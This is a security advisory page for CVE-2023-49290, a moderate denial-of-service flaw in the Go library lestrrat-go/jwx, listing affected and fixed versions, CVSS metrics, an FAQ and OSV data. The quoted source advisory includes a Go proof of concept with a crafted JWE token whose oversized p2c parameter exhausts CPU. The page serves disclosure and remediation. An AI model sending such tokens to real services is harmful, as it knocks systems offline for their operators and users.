CVE-2023-49290: Github.com/lestrrat go/jwx Denial of Service Vulnerability

MODERATE
Advisory Identifier: GHSA-7f9x-gw85-8grf
CVSS 5.3
CWE-400
Published
Advisory Summary

CVE-2023-49290 is a MODERATE (CVSS 5.3) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Github.com/lestrrat go/jwx libraries in the Go ecosystem. The issue involves lestrrat-go/jwx's malicious parameters in jwe can cause a dos. Remediation is available by upgrading affected packages to version 1.2.27, 2.0.18.

CVE-2023-49290 at a Glance

CVE Identifier CVE-2023-49290
GHSA Identifier GHSA-7f9x-gw85-8grf
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Github.com/lestrrat go/jwx
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability Low (A:L)

How to Fix CVE-2023-49290

To remediate this vulnerability, upgrade all affected Github.com/lestrrat go/jwx dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/lestrrat-go/jwx fixed: 1.2.27
Upgrade github.com/lestrrat-go/jwx to 1.2.27
github.com/lestrrat-go/jwx/v2 fixed: 2.0.18
Upgrade github.com/lestrrat-go/jwx/v2 to 2.0.18
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/lestrrat-go/jwx

How to Check if You Are Affected

To determine whether your application is affected by CVE-2023-49290, inspect your project dependencies for Github.com/lestrrat go/jwx:

inspect dependencies for github.com/lestrrat-go/jwx

Analyze the terminal output to locate any version of Github.com/lestrrat go/jwx in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.2.27), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Github.com/lestrrat go/jwx, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary too high p2c parameter in JWE's alg PBES2-* could lead to a DOS attack ### Details The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive. Therefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a DOS attack ### PoC ```go package main import ( "fmt" "github.com/lestrrat-go/jwx/v2/jwa" "github.com/lestrrat-go/jwx/v2/jwe" "github.com/lestrrat-go/jwx/v2/jwk" ) func main() { token := []byte("eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMjU2R0NNIiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJNNzczSnlmV2xlX2FsSXNrc0NOTU9BIn0=.S8B1kXdIR7BM6i_TaGsgqEOxU-1Sgdakp4mHq7UVhn-_REzOiGz2gg.gU_LfzhBXtQdwYjh.9QUIS-RWkLc.m9TudmzUoCzDhHsGGfzmCA") key, err := jwk.FromRaw([]byte(`abcdefg`)) payload, err := jwe.Decrypt(token, jwe.WithKey(jwa.PBES2_HS256_A128KW, key)) if err == nil { fmt.Println(string(payload)) } } ``` ### Impact It's a kind of Dos attack, the user's environment could potentially utilize an excessive amount of CPU resources.

CVE-2023-49290 Affected Github.com/lestrrat go/jwx Versions

2 component(s)
Fixed Versions:
1.2.272.0.18
Product / Package Ecosystem Affected Versions Fixed Version
github.com/lestrrat-go/jwx
Go
< 1.2.27
1.2.27
github.com/lestrrat-go/jwx/v2
Go
< 2.0.18
2.0.18

References

Frequently Asked Questions

What is CVE-2023-49290?
CVE-2023-49290 is a security vulnerability in Github.com/lestrrat go/jwx involving lestrrat-go/jwx's malicious parameters in JWE can cause a DOS under CWE-400: Uncontrolled Resource Consumption.
Which Github.com/lestrrat go/jwx versions are affected?
Affected versions include releases prior to 1.2.27, 2.0.18 across affected packages: github.com/lestrrat-go/jwx, github.com/lestrrat-go/jwx/v2.
What version fixes CVE-2023-49290?
Upgrading to 1.2.27, 2.0.18 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/lestrrat-go/jwx affected?
Yes, github.com/lestrrat-go/jwx is affected in releases prior to 1.2.27. Upgrade your dependency to 1.2.27 or later.
Is github.com/lestrrat-go/jwx/v2 affected?
Yes, github.com/lestrrat-go/jwx/v2 is affected in releases prior to 2.0.18. Upgrade your dependency to 2.0.18 or later.
What is the CVSS score of CVE-2023-49290?
CVE-2023-49290 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L.
What CWE is associated with CVE-2023-49290?
CVE-2023-49290 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check Go dependencies for CVE-2023-49290?
Run the dependency tree command: 'inspect dependencies for github.com/lestrrat-go/jwx'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7f9x-gw85-8grf",
  "modified" : "2023-12-05T23:29:26Z",
  "published" : "2023-12-05T23:29:26Z",
  "aliases" : [ "CVE-2023-49290" ],
  "summary" : "lestrrat-go/jwx's malicious parameters in JWE can cause a DOS",
  "details" : "### Summary\ntoo high p2c parameter in JWE's alg PBES2-* could lead to a DOS attack\n\n### Details\nThe JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive.\nTherefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a DOS attack\n\n### PoC\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"github.com/lestrrat-go/jwx/v2/jwa\"\n\t\"github.com/lestrrat-go/jwx/v2/jwe\"\n\t\"github.com/lestrrat-go/jwx/v2/jwk\"\n)\n\nfunc main() {\n\ttoken := []byte(\"eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMjU2R0NNIiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJNNzczSnlmV2xlX2FsSXNrc0NOTU9BIn0=.S8B1kXdIR7BM6i_TaGsgqEOxU-1Sgdakp4mHq7UVhn-_REzOiGz2gg.gU_LfzhBXtQdwYjh.9QUIS-RWkLc.m9TudmzUoCzDhHsGGfzmCA\")\n\tkey, err := jwk.FromRaw([]byte(`abcdefg`))\n\tpayload, err := jwe.Decrypt(token, jwe.WithKey(jwa.PBES2_HS256_A128KW, key))\n\tif err == nil {\n\t\tfmt.Println(string(payload))\n\t}\n}\n\n```\n\n### Impact\nIt's a kind of Dos attack, the user's environment could potentially utilize an excessive amount of CPU resources.\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lestrrat-go/jwx"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.2.27"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lestrrat-go/jwx/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.0.18"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lestrrat-go/jwx/security/advisories/GHSA-7f9x-gw85-8grf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-49290"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lestrrat-go/jwx/commit/64f2a229b8e18605f47361d292b526bdc4aee01c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lestrrat-go/jwx"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-12-05T23:29:26Z",
    "nvd_published_at" : "2023-12-05T00:15:09Z"
  }
}